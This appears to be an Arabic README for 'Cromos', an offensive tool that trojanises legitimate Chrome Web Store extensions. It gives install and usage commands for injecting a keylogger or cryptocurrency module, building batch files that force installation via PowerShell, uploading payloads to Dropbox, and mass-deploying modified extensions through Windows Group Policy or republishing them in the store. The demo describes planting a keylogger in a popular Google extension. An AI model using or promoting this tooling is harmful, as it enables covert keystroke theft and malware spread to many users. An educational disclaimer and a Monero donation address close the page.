كروموس

Cromos هي أداة لتحميل الإضافات الشرعية من متجر كروم الإلكتروني وحقن الأكواد في خلفية التطبيق، بالإضافة إلى إنشاء ملفات تنفيذية لفرض التثبيت عبر PowerShell على سبيل المثال، وكذلك رفع الملفات إلى Dropbox لاستضافة الملفات الضارة.

• تحميل الإضافة
• الحقن
• رفع الملفات على Dropbox
• إصابة ويندوز

عرض توضيحي

هذا عرض توضيحي للأداة أثناء العمل. في هذه الأمثلة، أتّمت تحميل إضافة جوجل الشهيرة المسماة G Suite Training من متجر كروم الإلكتروني وحقنت وحدة تسجيل ضغطات المفاتيح.

التثبيت

$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py

الاستخدام

تحميل الإضافة

Usage: python cromos.py --extension {id}

تحميل الإضافة وتحميل الوحدة

Usage: python cromos.py --extension {id} --load {currency/keylogger}

بناء ملف دفعي ورفع الملفات إلى Dropbox

Usage: python cromos.py --extension {id} --build {bat} --token {dropboxToken}

الوحدات

يمكنك أيضًا حقن بعض الوحدات المحددة مسبقًا في الخلفية مثل keylogger (مسجل ضغطات المفاتيح) وvirtual currency (العملة الافتراضية).

كائن نهج المجموعة (GPO)

يتيح لك كروم إضافة الإضافات باستخدام كائن نهج المجموعة (GPO) في ويندوز. إذا كنت بحاجة إلى فرض التثبيت على عدة أجهزة، فما عليك سوى اتباع الخطوات في دليل نشر كروم ثم قم بتعديل الإضافة الأصلية ببعض التعديلات؛ يمكنك نشر إضافتك في متجر كروم الإلكتروني (يتطلب دفع 5 دولارات).

إخلاء مسؤولية

تم تقديم نماذج التعليمات البرمجية للأغراض التعليمية. لا يمكن بناء دفاعات كافية إلا من خلال البحث في تقنيات الهجوم المتاحة للجهات الخبيثة. استخدام هذا الكود ضد أنظمة مستهدفة دون إذن مسبق يعد غير قانوني في معظم الدول. المؤلفون غير مسؤولين عن أي أضرار ناتجة عن إساءة استخدام هذه المعلومات أو الكود.

التبرعات

• XMR: 49m12JEEC6HPCHkLMX5QL4SrDQdKwh6eb4Muu8Z9CwA9MwemhzFQ3VcgHwyuR73rC22WCymTUyep7DVrfN3GPt5JBCekPrR